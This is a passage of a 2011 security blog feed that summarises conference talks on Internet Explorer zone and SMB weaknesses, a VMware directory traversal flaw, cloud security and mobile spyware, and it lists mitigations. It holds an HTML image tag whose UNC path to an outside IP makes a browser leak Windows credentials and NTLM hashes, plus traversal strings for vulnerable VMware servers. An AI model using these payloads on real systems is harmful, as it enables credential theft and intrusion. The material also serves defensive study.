1em;"&gt;&lt;img border="0" height="300" src="http://4.bp.blogspot.com/-uKU85Hr0v8c/ThTw3QfsLHI/AAAAAAAAARw/8mQOdm35fA0/s400/09-Jul-07-11-pic2.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-MuN1qxsKHWA/ThTxBcw-FSI/AAAAAAAAAR0/5zqN8EXnOV8/s1600/09-Jul-07-11-pic3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://4.bp.blogspot.com/-MuN1qxsKHWA/ThTxBcw-FSI/AAAAAAAAAR0/5zqN8EXnOV8/s400/09-Jul-07-11-pic3.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-LrMsy_fJQBU/ThTxLFOosBI/AAAAAAAAAR4/pJ6qhG3tqwA/s1600/09-Jul-07-11-pic4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="298" src="http://3.bp.blogspot.com/-LrMsy_fJQBU/ThTxLFOosBI/AAAAAAAAAR4/pJ6qhG3tqwA/s400/09-Jul-07-11-pic4.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Any web page in the Internet zone or above can include an HTML tag as follows:&lt;br /&gt;&lt;blockquote&gt;&lt;img src="\\208.77.188.166\image.jpg" /&gt;&lt;/blockquote&gt;-It will trigger an SMB request against 208.77.188.166&lt;br /&gt;-As part of the challenge-response negotiation, the client sends to the server the following information about itself:&lt;br /&gt;&lt;i&gt;1.Windows user name&lt;br /&gt;2.Windows domain name&lt;br /&gt;3.Windows computer name&lt;br /&gt;4.A challenge value chosen by the web server ciphered with the LM/NTLM hash of this user’s password&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Two zones, the same place&lt;/b&gt;&lt;br /&gt;-Internet Explorer will determine the security zone of a given UNC address as belonging to:&lt;br /&gt;&lt;i&gt;1.The Internet security zone if this path contains the IP address of the target machine&lt;br /&gt;2.The Local Intranet security zone if this path contains the NetBIOS name of the target machine&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;-It makes sense, as SMB names just can be resolved in the same network segment&lt;br /&gt;-\\NEGRITA is in the Local Intranet zone&lt;br /&gt;-\\127.0.0.1 is in the Internet zone&lt;br /&gt;-This is one of the root causes of the problems the Microsoft staff has into closing the attack vectors exposed here&lt;br /&gt;-After several discussions with MSRC team members, they stated this issue is kind of a dead end, and cannot be fixed&lt;br /&gt;-According to the Security Zones scheme, a page in a given zone can not redirect its navigation to a more privileged zone&lt;br /&gt;-This behavior is known as Zone Elevation&lt;br /&gt;-Now, consider the following dialog:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-dbyx1JTFIvo/ThTyRe6UsYI/AAAAAAAAAR8/FzmKDkLb38c/s1600/09-Jul-07-11-pic5.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="90" src="http://4.bp.blogspot.com/-dbyx1JTFIvo/ThTyRe6UsYI/AAAAAAAAAR8/FzmKDkLb38c/s400/09-Jul-07-11-pic5.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;-In this case Internet Explorer will erroneously (due to this ambiguity) apply Zone Elevation restrictions and the redirection will effectively occur&lt;br /&gt;-There is another way to bypass Security Zone restrictions&lt;br /&gt;-Suppose that example.com (10.1.1.1) was explicitly added to the Restricted Sites Security Zone&lt;br /&gt;-Then this URI will be treated with the privileges of that zone&lt;br /&gt;-However, if the same resource is requested using the UNC notation, it will be treated as belonging to the Internet Security Zone (e.g. \\10.1.1.1\index.html)&lt;br /&gt;-Restricted Sites restrictions to a given resource are bypassed if it can be accessed using a different protocol [file: | https: | ...]&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-q7rbBDGye8c/ThTyyUGMZOI/AAAAAAAAASA/UIWcgBO_2vY/s1600/09-Jul-07-11-pic6.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="248" src="http://1.bp.blogspot.com/-q7rbBDGye8c/ThTyyUGMZOI/AAAAAAAAASA/UIWcgBO_2vY/s400/09-Jul-07-11-pic6.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;How to put HTML/script code in remote computers&lt;/b&gt;&lt;br /&gt;-There are different ways for remote servers to write HTML/script code in clients hard drives&lt;br /&gt;&lt;i&gt;1.Navigation history files&lt;br /&gt;2.Cookies&lt;br /&gt;3.Mapping files (Internet Explorer index.dat)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;-Problems in the design/implementation of these feature&lt;br /&gt;&lt;i&gt;1.Contents are saved as they were received, with little or no sanitization/overhead, into these files&lt;br /&gt;2.Internet Explorer allows rendering the contents of non-pure HTML files skipping the parts that can not be rendered&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-MXBzsBEtiZk/ThTy-mB4a9I/AAAAAAAAASE/RAU8upiY3S0/s1600/09-Jul-07-11-pic7.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="257" src="http://2.bp.blogspot.com/-MXBzsBEtiZk/ThTy-mB4a9I/AAAAAAAAASE/RAU8upiY3S0/s400/09-Jul-07-11-pic7.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Everything that glitters is not gold&lt;/b&gt;&lt;br /&gt;-The way Internet Explorer decides how to treat a given file is known as MIME type detection&lt;br /&gt;-It basically uses an algorithm to find and launch the correct object server/application to handle the requested content&lt;br /&gt;-Is based on information obtained from&lt;br /&gt;&lt;i&gt;1.The server-supplied MIME type, if available&lt;br /&gt;2.An examination of the actual contents associated with a downloaded URL (FindMimeFromData)&lt;br /&gt;3.The file name associated with the downloaded content (assumed to be derived from the associated URL)&lt;br /&gt;4.Registry settings (file extension/MIME type associations or registered applications) in effect during the download&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;-Problems in the design/implementation of this feature:&lt;br /&gt;1.The server-provided MIME type is returned when the following conditions are true:&lt;br /&gt;&lt;i&gt;-no positive match is obtained from the FindMimeFromData() buffer scan&lt;br /&gt;-server-provided MIME type is known&lt;br /&gt;-no conflict exists (format is either text or binary)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;2.Has been probed (more than once) not to behave deterministically when accessing the same resource through different methods&lt;br /&gt;&lt;i&gt;-direct navigation&lt;br /&gt;-redirection&lt;br /&gt;-frame/iframe reference&lt;br /&gt;-scripting&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Turning features into vulnerabilities to build an attack&lt;/b&gt;&lt;br /&gt;-In and of itself each of these bugs may not seem like something you should be concerned about&lt;br /&gt;-The combined use of them by an attacker may lead to some interesting attacks&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Case 1: Attacking local networks with shared folders&lt;/b&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-xvPzLYhML5c/ThT295lqNwI/AAAAAAAAASQ/cesCviwQdWk/s1600/09-Jul-07-11-pic8.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="50" src="http://4.bp.blogspot.com/-xvPzLYhML5c/ThT295lqNwI/AAAAAAAAASQ/cesCviwQdWk/s400/09-Jul-07-11-pic8.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Case 2: Attacking the Internet user&lt;/b&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-VTMNrMpLuDY/ThT0LBvOo_I/AAAAAAAAASM/9diZKESjkfY/s1600/09-Jul-07-11-pic9.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="68" src="http://1.bp.blogspot.com/-VTMNrMpLuDY/ThT0LBvOo_I/AAAAAAAAASM/9diZKESjkfY/s400/09-Jul-07-11-pic9.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Overall Impact&lt;/b&gt;&lt;br /&gt;-By chaining the exploitation of a series of weak features an attacker is able to store HTML and scripting code in the victim’s computer and force the victim’s browser to load and render it&lt;br /&gt;-127.0.0.1 is in the Internet Zone, but as the code is actually stored in the victim’s computer, it can access other files in the same computer (in this case, the victim’s computer)&lt;br /&gt;&lt;i&gt;1.SAM backup files&lt;br /&gt;2.All of the victim’s HTTP cookies and history files&lt;br /&gt;3.Source files in Inetpub\wwwroot&lt;br /&gt;4.Recent files, personal pictures (thumbs.db maps these files)&lt;br /&gt;5.Any other file on the local system (system events, configurations)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;These attack scenarios have been proven to work:&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;1.CORE-2008-01035&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;2.CORE-2008-0826&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;3.CORE-2009-06256&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-The only difference is in the way Internet Explorer is tricked into rendering its internal tracking files as HTML&lt;br /&gt;-That is the only thing Microsoft is fixing. This is a design problem. They are just blocking our proof of concept&lt;br /&gt;-That is why we are breaking it over and over again&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Solutions and Workarounds&lt;/b&gt;&lt;br /&gt;-Internet Explorer Network Protocol Lockdown&lt;br /&gt;-Set the Security Level setting for the Internet and Intranet zones to High&lt;br /&gt;-Disable Active Scripting for the Internet and Intranet zone with a custom setting&lt;br /&gt;-Only run Internet Explorer in Protected Mode&lt;br /&gt;-Use a different web browser to navigate untrusted web sites&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-7107492492142141728?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7107492492142141728'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7107492492142141728'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2011/07/internet-explorer-your-personal.html' title='Internet Explorer: Your personal computer is public property'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-7qxw3wo-asM/ThTwPmNnGtI/AAAAAAAAARs/lDsOBpVZ4Do/s72-c/09-Jul-07-11-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-4376948905930598353</id><published>2011-06-30T18:55:00.000-04:30</published><updated>2011-06-30T18:55:14.100-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='virtualization security'/><category scheme='http://www.blogger.com/atom/ns#' term='vmware vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='virtualization hack'/><category scheme='http://www.blogger.com/atom/ns#' term='stealing vmware guest'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking vmware'/><category scheme='http://www.blogger.com/atom/ns#' term='vmware exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='attack vmware'/><category scheme='http://www.blogger.com/atom/ns#' term='vmware security'/><category scheme='http://www.blogger.com/atom/ns#' term='vmware root'/><category scheme='http://www.blogger.com/atom/ns#' term='vmware mitigation'/><title type='text'>Attacking VMWare Guest Machines</title><content type='html'>&lt;b&gt;Vulnerability Discovery&lt;/b&gt;&lt;br /&gt;-Vulnerability identified on 5/14/09&lt;br /&gt;-Reported to VMware on 5/15/09&lt;br /&gt;-VMware responded on 5/21/09&lt;br /&gt;-CVE-2009-3733 reserved on 10/20/09&lt;br /&gt;-VMSA-2009-0015 released on 10/27/09&lt;br /&gt;-"Directory Traversal vulnerability"&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Identification&lt;/b&gt;&lt;br /&gt;-Originally identified on VMware Server 2.0.1 build 156745 (on Ubuntu 8.04)&lt;br /&gt;-Thought to be localized to inside of NAT interface of Host (8307/tcp)&lt;br /&gt;-Can steal VMs from within other VMs... if NAT.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Description&lt;/b&gt;&lt;br /&gt;-Web Access web servers also vulnerable&lt;br /&gt;-Server (default ports 8222/8333) - ../ x 6&lt;br /&gt;-ESX/ESXi (default ports 80/443) - %2E%2E/ x 6&lt;br /&gt;-No longer requires NAT mode / Remotely exploitable&lt;br /&gt;-Not as straightforward as originally thought&lt;br /&gt;-Still trivial to exploit because...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Root Access Is Easy&lt;/b&gt;&lt;br /&gt;&lt;span id="goog_2146085000"&gt;&lt;/span&gt;&lt;span id="goog_2146085001"&gt;&lt;/span&gt;&lt;a href="http://3.bp.blogspot.com/--goFTQ6Woe0/Tg0D6Qc7dUI/AAAAAAAAARg/qIPK1fzWBCE/s1600/08-Jun-30-11-pic1.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="190" src="http://3.bp.blogspot.com/--goFTQ6Woe0/Tg0D6Qc7dUI/AAAAAAAAARg/qIPK1fzWBCE/s400/08-Jun-30-11-pic1.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;How it works?&lt;/b&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-QYL5E5cXYR4/Tg0D64l9DiI/AAAAAAAAARk/nMbm8_gUOYk/s1600/08-Jun-30-11-pic2.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="201" src="http://1.bp.blogspot.com/-QYL5E5cXYR4/Tg0D64l9DiI/AAAAAAAAARk/nMbm8_gUOYk/s400/08-Jun-30-11-pic2.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;-Web server on 8308/tcp is vulnerable, but will only serve certain filetypes (xml, html, images, etc.)&lt;br /&gt;-Web server on 8307/tcp is also vulnerable, but serves ALL filetypes&lt;br /&gt;-Simply append /sdk to our URL request and we’ve got complete access to Host filesystem (including other Virtual Machines)&lt;br /&gt;-ESX/ESXi - ALL web servers return ALL filetypes (no /sdk)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Vulnerable Versions&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Server&lt;/i&gt;&lt;br /&gt;-VMware Server 2.x &amp;lt; 2.0.2 build 203138 (Linux)&lt;br /&gt;-VMware Server 1.x &amp;lt; 1.0.10 build 203137 (Linux)&lt;br /&gt;&lt;br /&gt;&lt;i&gt;ESX/ESXi&lt;/i&gt;&lt;br /&gt;-ESX 3.5 w/o ESX350-200901401-SG&lt;br /&gt;-ESX 3.0.3 w/o ESX303-200812406-BG&lt;br /&gt;-ESXi 3.5 w/o ESXe350-200901401-I-SG&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Guest Stealer&lt;/b&gt;&lt;br /&gt;-Perl script remotely ‘steals’ virtual machines from vulnerable hosts&lt;br /&gt;-Supports Server, ESX, ESXi&lt;br /&gt;-Allows attacker to select which Guest to ‘steal’&lt;br /&gt;-Utilizes VMware configuration files to identify available Guests and determine associated files&lt;br /&gt;&lt;br /&gt;&lt;b&gt;VMINVENTORY.XML&lt;/b&gt;&lt;br /&gt;-/etc/vmware/hostd/vmInventory.xml (default location)&lt;br /&gt;-Gives us Guest inventory &amp;amp; location information&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-jz5JSV2RgyI/Tg0D7oGQ7dI/AAAAAAAAARo/BEtjGk9OSBQ/s1600/08-Jun-30-11-pic3.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="186" src="http://4.bp.blogspot.com/-jz5JSV2RgyI/Tg0D7oGQ7dI/AAAAAAAAARo/BEtjGk9OSBQ/s400/08-Jun-30-11-pic3.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-yh988RKTiHc/Tg0D5q0rFhI/AAAAAAAAARc/Gw3ULJYlrBk/s1600/08-Jun-30-11-pic4.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="238" src="http://2.bp.blogspot.com/-yh988RKTiHc/Tg0D5q0rFhI/AAAAAAAAARc/Gw3ULJYlrBk/s400/08-Jun-30-11-pic4.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Mitigation&lt;/b&gt;&lt;br /&gt;-Patch, patch, patch&lt;br /&gt;-Hosts are an attractive target (compromise one = access many)&lt;br /&gt;-Better yet...Segment, segment, segment&lt;br /&gt;-Segment management interfaces&lt;br /&gt;-Segment systems of different security levels&lt;br /&gt;-Don’t share physical NICs between different security levels&lt;br /&gt;-Virtualization is not always the "best answer"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-4376948905930598353?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4376948905930598353'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4376948905930598353'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2011/06/attacking-vmware-guest-machines.html' title='Attacking VMWare Guest Machines'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/--goFTQ6Woe0/Tg0D6Qc7dUI/AAAAAAAAARg/qIPK1fzWBCE/s72-c/08-Jun-30-11-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-563285091644016013</id><published>2011-06-28T19:25:00.000-04:30</published><updated>2011-06-28T19:25:02.985-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='cloud spam'/><category scheme='http://www.blogger.com/atom/ns#' term='Cloud security issues'/><category scheme='http://www.blogger.com/atom/ns#' term='Cloud Security'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud assessment'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud IDS'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud hack'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud av scanning'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud rbl'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud malware'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud malicious url'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud IPS'/><title type='text'>Broad View of Cloud Security</title><content type='html'>Cloud Computing in the security industry has multiple definitions and several approaches:&lt;br /&gt;&lt;blockquote&gt;-URL scanning&lt;br /&gt;-AV scanning&lt;br /&gt;-Spam scanning&lt;br /&gt;-RBL&lt;br /&gt;-and more...&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;Cloud Paradigm&lt;/b&gt;&lt;br /&gt;-Pro Cloud&lt;br /&gt;-Against Cloud&lt;br /&gt;-A hybrid approach is better&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Strenghts&lt;/b&gt;&lt;br /&gt;-No versioning (no large product updates)&lt;br /&gt;-Low resource consumption&lt;br /&gt;-Higher speed&lt;br /&gt;-Not OS dependant&lt;br /&gt;-Not hardware dependant&lt;br /&gt;-Instant access to updates&lt;br /&gt;-New technologies available like outbreak detection or statistics based algorithms&lt;br /&gt;-Sometimes...It is also cheaper&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Weaknesses&lt;/b&gt;&lt;br /&gt;-No internet connection means no cloud&lt;br /&gt;-Susceptible to DDOS attacks&lt;br /&gt;-Resource Consumption just moved in the cloud. It didn’t vanished!&lt;br /&gt;-Connection spikes can cause false negatives (or, even self-DDOS)&lt;br /&gt;-Instant updates can also mean instant faulty updates&lt;br /&gt;-Data center failure means no detection&lt;br /&gt;&lt;br /&gt;&lt;b&gt;What Else Can Cloud Offer?&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Opens the door to a new set of:&lt;/i&gt;&lt;br /&gt;-Applications&lt;br /&gt;-Devices&lt;br /&gt;-Operating systems&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Size Does Matter&lt;/b&gt;&lt;br /&gt;-Several sources of URLs means an extremely large number of URLs&lt;br /&gt;-Several clients that query the cloud means a massive number of links that have to be analyzed&lt;br /&gt;-Links have various statuses (clean, infected, phishing, fraud) which change dynamically&lt;br /&gt;-So, one has to move fast...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Lies, Damned Lies and Statistics&lt;/b&gt;&lt;br /&gt;-Targeted attacks stay under the radar&lt;br /&gt;-Slow spreading malware too&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Not everybody likes us&lt;/b&gt;&lt;br /&gt;-Website owners&lt;br /&gt;-ISPs&lt;br /&gt;-Maybe even social networks?&lt;br /&gt;-And hopefully the bad guys (i.e. Hackers)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;br /&gt;-We believe that a hybrid approach is best&lt;br /&gt;-The cloud should be used as another filtering method and not as a universal solution&lt;br /&gt;-Not only there should be a hybrid approach, but also these techniques have to be interconnected&lt;br /&gt;-Although it looks quite easy in theory, creating and maintaining a cloud architecture is not an easy process&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-563285091644016013?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/563285091644016013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/563285091644016013'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2011/06/broad-view-of-cloud-security.html' title='Broad View of Cloud Security'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-6828669543582510159</id><published>2011-06-15T20:14:00.000-04:30</published><updated>2011-06-15T20:14:21.130-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Android attack'/><category scheme='http://www.blogger.com/atom/ns#' term='Mobile Spy'/><category scheme='http://www.blogger.com/atom/ns#' term='Blackberry Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Phone Number Farming'/><category scheme='http://www.blogger.com/atom/ns#' term='mobile backdoor'/><category scheme='http://www.blogger.com/atom/ns#' term='Etisalat mobile hack'/><category scheme='http://www.blogger.com/atom/ns#' term='FlexiSpy'/><category scheme='http://www.blogger.com/atom/ns#' term='Phonesnoop'/><category scheme='http://www.blogger.com/atom/ns#' term='ACSServer.exe'/><category scheme='http://www.blogger.com/atom/ns#' term='Code Signing'/><category scheme='http://www.blogger.com/atom/ns#' term='Mobile Spyware'/><title type='text'>Advanced Mobile Spyware</title><content type='html'>&lt;b&gt;Mobile Spyware &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;-Often includes modifications to legitimate programs designed to compromise the device or device data&lt;br /&gt;-Often inserted by those who have legitimate access to source code or distribution binaries&lt;br /&gt;-May be intentional or inadvertent&lt;br /&gt;-Not specific to any particular programming language&lt;br /&gt;-Not specific to any particular mobile Operating System&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Attacker Motivation&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Practical method of compromise for many systems&lt;/i&gt;&lt;br /&gt;–Let the users install your backdoor on systems you have no access to&lt;br /&gt;–Looks like legitimate software so may bypass mobile AV&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Retrieve and manipulate valuable private data&lt;/i&gt;&lt;br /&gt;–Looks like legitimate application traffic so little risk of detection&lt;br /&gt;&lt;i&gt;&lt;br /&gt;For high value targets such as financial services and government it becomes cost effective and more reliable&lt;/i&gt;&lt;br /&gt;–High-end attackers will not be content to exploit opportunistic vulnerabilities, which might be fixed and therefore unavailable at a critical juncture. They may seek to implant vulnerability for later exploitation&lt;br /&gt;–Think "Aurora" for Mobile Devices&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-CaJS4Z0wtho/TflQ0G9IIzI/AAAAAAAAARY/KfCCjPNiDtk/s1600/06-Jun-16-11-pic1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="280" src="http://3.bp.blogspot.com/-CaJS4Z0wtho/TflQ0G9IIzI/AAAAAAAAARY/KfCCjPNiDtk/s400/06-Jun-16-11-pic1.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;FlexiSpy&lt;/b&gt;&lt;br /&gt;http://www.flexispy.com&lt;br /&gt;$149 -$350 PER YEAR depending on features&lt;br /&gt;Features:&lt;br /&gt;–Remote Listening&lt;br /&gt;–C&amp;amp;C Over SMS&lt;br /&gt;–SMS and Email Logging&lt;br /&gt;–Call History Logging&lt;br /&gt;–Location Tracking&lt;br /&gt;–Call Interception&lt;br /&gt;–GPS Tracking&lt;br /&gt;–Symbian, Blackberry, Windows Mobile Supported&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Mobile Spy&lt;/b&gt;&lt;br /&gt;http://www.mobile-spy.com&lt;br /&gt;$49.97 PER QUARTER or $99.97 PER YEAR&lt;br /&gt;Features:&lt;br /&gt;–SMS Logging&lt;br /&gt;–Call Logging&lt;br /&gt;–GPS Logging&lt;br /&gt;–Web URL Logging&lt;br /&gt;–BlackBerry, iPhone(JailbrokenOnly), Android, Windows Mobile or Symbian&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Etisalat (SS8)&lt;/b&gt;&lt;br /&gt;-Cell carrier in United Arab Emirates (UAE)&lt;br /&gt;-Pushed via SMS as "software patch" for Blackberry smartphones&lt;br /&gt;-Upgrade urged to "enhance performance" of Blackberry service&lt;br /&gt;-Blackberry PIN messaging as C&amp;amp;C&lt;br /&gt;-Sets FLAG_HIDDEN bit to true&lt;br /&gt;-Interception of outbound email / SMS only&lt;br /&gt;-Discovered due to flooded listener server cause retries that drained batteries of affected devices&lt;br /&gt;-Accidentally released the .jar as well as the .cod (ooopsie?!)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Bugs &amp;amp; Phonesnoop&lt;/b&gt;&lt;br /&gt;–Exfiltration of inbound and outbound email&lt;br /&gt;–Hidden&lt;br /&gt;–Remotely turn on a Blackberry phone microphone&lt;br /&gt;–Listen in on target ambient conversation&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Storm8 Phone Number Farming&lt;/b&gt;&lt;br /&gt;–iMobstersand Vampires Live (and others)&lt;br /&gt;–"Storm8 has written the software for all its games in such a way that it automatically accesses, collects, and transmits the wireless telephone number of each iPhoneuser who downloads any Storm8 game," the suit alleges. "... Storm8, though, has no reason whatsoever to access the wireless phone numbers of the iPhones on which its games are installed."&lt;br /&gt;–"Storm8 says that this code was used in development tests, only inadvertently remained in production builds, and removed as soon as it was alerted to the issue."&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Symbian Sexy Space&lt;/b&gt;&lt;br /&gt;–Poses as legitimate server ACSServer.exe&lt;br /&gt;–Calls itself 'Sexy Space'&lt;br /&gt;–Steals phone and network information&lt;br /&gt;–Exfiltrates data via hacker owned web site connection&lt;br /&gt;–Can SPAM contact list members&lt;br /&gt;–Basically a "botnet" for mobile phones&lt;br /&gt;–Signing process: Anti-virus scan using F-Secure (Approx 43% proactive detection rate (PCWorld))&lt;br /&gt;-Random selection of inbound manually assessed&lt;br /&gt;–Symbiansigned this binary as safe!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;09Droid –Banking Applications Attack&lt;/b&gt;&lt;br /&gt;–Droid app that masquerades as any number of different target banking applications&lt;br /&gt;–Target banks included: Royal Bank of Canada, Chase, BB&amp;amp;T, SunTrust, Over 50 total financial institutions were affected&lt;br /&gt;–May steal and exfiltrate banking credentials&lt;br /&gt;–Approved and downloaded from Google’s Android Marketplace!&lt;br /&gt;–http://www.theinquirer.net/inquirer/news/1585716/fraud-hits-android-apps-market&lt;br /&gt;–http://www.pcadvisor.co.uk/news/index.cfm?RSS&amp;amp;NewsID=3209953&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Blackberry Takes Security Seriously&lt;/b&gt;&lt;br 